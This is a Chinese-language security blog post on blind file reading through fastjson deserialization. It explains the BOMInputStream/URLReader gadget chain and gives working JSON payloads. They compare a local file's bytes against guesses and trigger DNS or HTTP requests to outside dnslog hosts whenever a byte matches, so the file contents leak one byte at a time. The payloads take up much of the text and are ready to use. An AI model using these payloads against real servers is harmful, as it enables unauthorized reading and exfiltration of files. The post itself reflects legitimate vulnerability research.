无回显场景下通过fastjson读文件

有回显读文件

最近在学fastjson,但是因为懒,简单了解一下48就转向68的学习,然后翻开尘封已久的收藏夹开始68的debug之路。突然,浅蓝师傅的一篇无回显读文件的文章吸引了我的注意。啪!很快啊!我就上手调起来。

先贴一下来自blackhat的初始poc:

1
{"abc": {"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///E:/tmp/tyskill.txt"},"charsetName": "utf-8","bufferSize":1024},"boms":[{"charsetName":"utf-8","bytes": [ASCII1,ASCII2,...]}]},"address": {"$ref": "$.abc.BOM"}}

debug过程无所谓,自己调一下就行,我列一下我觉得比较重要的点:

  • jdk.nashorn.api.scripting.URLReader接受URL类型参数,因此支持http、jar、netdoc等协议
  • boms参数通过数组展开符传入BOMInputStream构造方法,因此需要作为数组类型传参,其bytes参数同理
  • boms数组只要有一个元素能够成功匹配就能返回ByteOrderMark对象,进而成功实例化BOMInputStream对象
  • address过程的JSONpath引用是为了调用BOMInputStream对象的getBOM方法,该方法用于boms和ReaderInputStream数据流进行逐字节的比较,根据比较结果返回null或ByteOrderMark对象。除此之外,该方法还值得细嗦一下:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public ByteOrderMark getBOM() throws IOException {
    if (this.firstBytes == null) { // BOMInputStream对象初始化时firstBytes字段为null
        this.fbLength = 0;
        int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length(); // 获取传入boms数组的长度
        this.firstBytes = new int[maxBomSize]; // 预先分配

        for(int i = 0; i < this.firstBytes.length; ++i) {
            this.firstBytes[i] = this.in.read(); // 开始逐字节读取数据流,但长度取决于boms数组
            ++this.fbLength;
            if (this.firstBytes[i] < 0) { // EOF
                break;
            }
        }

        this.byteOrderMark = this.find(); // 内部调用matches方法逐字节比较boms和数据流
        if (this.byteOrderMark != null && !this.include) { // include字段默认为false
            if (this.byteOrderMark.length() < this.firstBytes.length) {
                this.fbIndex = this.byteOrderMark.length();
            } else {
                this.fbLength = 0;
            }
        }
    }

    return this.byteOrderMark;
}

可以看到firstBytes字段是在boms参数有>0长度时才能进行流数据的读取,这里会引发一个问题,数据流是先通过jdk.nashorn.api.scripting.URLReader类预存URL地址内容后调用read方法逐字节返回,还是先read后访问URL,带着这个疑问进入新一轮的debug,随便跳几下就可以在URLReader#getReader发现new CharArrayReader(Source.readFully(this.url, this.cs));代码,可以说明是read方法先被调用

这个问题可以证明什么呢?若我们将file协议修改为http协议,然后传入“空的boms数组”,不就可以实现指定条件下访问目标地址的功能么

注:空数组并不是实际意义上的[],具体含义后面分析

无回显读文件

浅蓝师傅通过观察getBOM返回值添加了一段CharSequenceReader实例化的json字符串,该方法在boms比较不通过的情况下返回null,此时传入CharSequenceReader构造方法不会引发错误,而比较通过时ByteOrderMark对象显然不满足参数CharSequence类型要求,继而引发报错,中断解析流程。基于此可以实现指定条件下字符串解析的终止,也就诞生了文章中的poc。

但debug后会发现一些小问题:该poc其实只依赖于比较成功时的类型冲突,因此后面一段反而过于冗长,可以使用常见的探测poc替换

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///E:/tmp/tyskill.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          48,
        ]
      }
    ]
  },
  "address" : {
	"@type": "java.lang.AutoCloseable",
	"@type":"org.apache.commons.io.input.CharSequenceReader",
	"charSequence": {
		"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"
	},
	"start": 0,
	"end": 0
  },
  "xxx":{{"@type":"java.net.Inet4Address","val":"cnm.awm6.hyuga.icu"}:"xx"}
}

无回显读文件revenge

该tag取名源于某比赛(doge

尝试过上面的poc可以发现在匹配不成功时发出dnslog请求太麻烦,虽然可以通过同步注入字符与访问域名的方式来方便结果观察,但我还是不爽(,所以需要一些新的构造来让dnslog请求只发生在比较成功的时候

通过第一部分的介绍可以发现boms传入“空数组”时不会发生访问行为,这样的特点加上http协议就可以构成基本的盲注场景。

如何构造一个“空数组”呢?传入一个null即可,也就是bytes比较不成功的时候,此时逻辑就可以串联起来了,先注入文件内容,比较不成功时返回null,将null通过JSONpath引用到第二部分的BOMInputStream对象boms数组中,这样就可以形成更好用的poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
	  "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
		"@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///E:/tmp/tyskill.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [48,]
      }
    ]
  },
  "address": {
	  "@type": "java.lang.AutoCloseable",
	  "@type": "org.apache.commons.io.input.BOMInputStream",
	  "delegate": {
		"@type": "org.apache.commons.io.input.ReaderInputStream",
		"reader": {
		  "@type": "jdk.nashorn.api.scripting.URLReader",
		  "url": "http://aaaxd.bf1p.hyuga.icu/"
		},
		"charsetName": "UTF-8",
		"bufferSize": 1024
	  },
	  "boms": [{"$ref":"$.abc.BOM[0]"}]
  },
  "xxx":{"$ref":"$.address.BOM[0]"}
}

Reference